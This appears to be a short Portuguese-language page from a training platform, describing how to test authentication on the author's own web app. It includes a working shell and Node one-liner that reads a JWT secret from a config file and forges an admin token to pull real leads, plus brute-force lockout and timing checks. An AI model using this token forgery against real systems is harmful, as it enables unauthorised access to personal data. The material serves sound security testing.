Quebra de autenticação

DESTRUTIVO — só em localhost/lab. Nunca em produção. Só em alvo seu ou autorizado por escrito.

Os passos

4.1 Cookie lixo: curl -s -o /dev/null -w "%{http_code}\n" "$BASE/api/leads" -H "Cookie: cms_token=abc.def.ghi" → 401 ✅. 4.2 Secret errado: gere com node trocando o secret por "errado" → 401 ✅. 4.3 Secret real (o achado nº 1):

cd /d/Antigravity-Monetizacao_TikTok
SECRET=$(grep -o '"JWT_SECRET": *"[^"]*"' app/wrangler.jsonc | cut -d'"' -f4)
REAL=$(node -e "const c=require('crypto');const s=process.argv[1];const b=o=>Buffer.from(JSON.stringify(o)).toString('base64url');const h=b({alg:'HS256',typ:'JWT'});const n=Math.floor(Date.now()/1000);const p=b({sub:'voce@exemplo.com',role:'admin',iat:n,exp:n+86400});console.log(h+'.'+p+'.'+c.createHmac('sha256',s).update(h+'.'+p).digest('base64url'))" "$SECRET")
curl -s "$BASE/api/leads" -H "Cookie: cms_token=$REAL" | head -c 300

200 + leads reais → 🔴 crítico. Chrome: F12 → Application → Cookies → cms_token=$REAL/admin/leads abre. 4.4 Lockout: 5 senhas erradas → 5×401 rápidos, sem delay/captcha → 🟠 achado. 4.5 Timing (validado nesta revisão): e-mail real ≈0,22s vs inexistente ≈0,17s → hash só roda para e-mail válido (side-channel mensurável).

PurpleLab // plataforma de treino ofensivo + defensivo // Fase 1 — portal dinamico